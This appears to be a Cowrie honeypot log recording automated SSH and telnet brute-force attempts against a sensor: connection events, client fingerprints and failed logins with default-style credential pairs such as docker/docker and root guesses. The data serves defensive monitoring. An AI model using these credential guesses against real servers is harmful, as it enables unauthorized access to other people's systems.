{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.213392Z","src_ip":"45.156.87.204","session":"f91223ed046c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.407198Z","src_ip":"94.26.106.229","session":"321b6abd7c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.518573Z","src_ip":"45.156.87.204","session":"f91223ed046c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.5149576663971,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:48.374981Z","src_ip":"152.42.224.71","session":"480070ed3067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:48.497133Z","src_ip":"94.26.106.229","session":"321b6abd7c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:48.603094Z","src_ip":"45.156.87.204","session":"f91223ed046c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50606,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e204675356","protocol":"ssh","message":"New connection: 45.156.87.204:50606 (159.203.135.109:22) [session: c3e204675356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:50.663703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:50.667827Z","src_ip":"45.156.87.204","session":"c3e204675356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:50.749430Z","src_ip":"45.156.87.204","session":"c3e204675356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:50.994611Z","src_ip":"45.156.87.204","session":"c3e204675356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:52.078961Z","src_ip":"45.156.87.204","session":"c3e204675356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.164418935775757,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:52.091362Z","src_ip":"152.42.224.71","session":"c567ea480096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55614,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a04fb03e58","protocol":"ssh","message":"New connection: 45.156.87.204:55614 (159.203.135.109:22) [session: 83a04fb03e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:54.085791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:54.089697Z","src_ip":"45.156.87.204","session":"83a04fb03e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:54.171753Z","src_ip":"45.156.87.204","session":"83a04fb03e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:54.423503Z","src_ip":"45.156.87.204","session":"83a04fb03e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.71661996841431,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:55.226980Z","src_ip":"152.42.224.71","session":"7c3e7a61e112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:55.508947Z","src_ip":"45.156.87.204","session":"83a04fb03e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55632,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ad9499f731f","protocol":"ssh","message":"New connection: 45.156.87.204:55632 (159.203.135.109:22) [session: 0ad9499f731f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.449933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.453736Z","src_ip":"45.156.87.204","session":"0ad9499f731f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.536038Z","src_ip":"45.156.87.204","session":"0ad9499f731f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":50070,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5d4368446b0","protocol":"ssh","message":"New connection: 170.106.151.211:50070 (159.203.135.109:22) [session: d5d4368446b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.688546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.692791Z","src_ip":"170.106.151.211","session":"d5d4368446b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:57.759781Z","src_ip":"170.106.151.211","session":"d5d4368446b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:58.006930Z","src_ip":"45.156.87.204","session":"0ad9499f731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian","message":"login attempt [julian/julian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:58.061355Z","src_ip":"170.106.151.211","session":"d5d4368446b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:59.091350Z","src_ip":"45.156.87.204","session":"0ad9499f731f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:59.130162Z","src_ip":"170.106.151.211","session":"d5d4368446b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55648,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf09e752331","protocol":"ssh","message":"New connection: 45.156.87.204:55648 (159.203.135.109:22) [session: dbf09e752331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:01.065524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:01.070563Z","src_ip":"45.156.87.204","session":"dbf09e752331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:01.152749Z","src_ip":"45.156.87.204","session":"dbf09e752331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:01.398946Z","src_ip":"45.156.87.204","session":"dbf09e752331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f828726eae6","protocol":"telnet","message":"New connection: 152.42.224.71:40214 (10.17.0.5:23) [session: 5f828726eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:01.769174Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40228,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df9fb49e93a","protocol":"telnet","message":"New connection: 152.42.224.71:40228 (10.17.0.5:23) [session: 8df9fb49e93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:02.202007Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:02.483847Z","src_ip":"45.156.87.204","session":"dbf09e752331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.62474298477173,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:03.585975Z","src_ip":"152.42.224.71","session":"a69d7bc583d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60428,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb74174a2c4","protocol":"ssh","message":"New connection: 45.156.87.204:60428 (159.203.135.109:22) [session: 5bb74174a2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:04.542438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:04.546744Z","src_ip":"45.156.87.204","session":"5bb74174a2c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:04.629041Z","src_ip":"45.156.87.204","session":"5bb74174a2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:04.879059Z","src_ip":"45.156.87.204","session":"5bb74174a2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:05.967446Z","src_ip":"45.156.87.204","session":"5bb74174a2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.016249656677246,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:06.031206Z","src_ip":"152.42.224.71","session":"76ea315641a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44838,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c81f23b8d6","protocol":"telnet","message":"New connection: 152.42.224.71:44838 (10.17.0.5:23) [session: d8c81f23b8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:07.357954Z"}
{"eventid":"cowrie.session.closed","duration":87.48421001434326,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:07.885080Z","src_ip":"152.42.224.71","session":"c39ff4ae2072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60432,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c65cabae0b","protocol":"ssh","message":"New connection: 45.156.87.204:60432 (159.203.135.109:22) [session: 72c65cabae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.005497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.013819Z","src_ip":"45.156.87.204","session":"72c65cabae0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"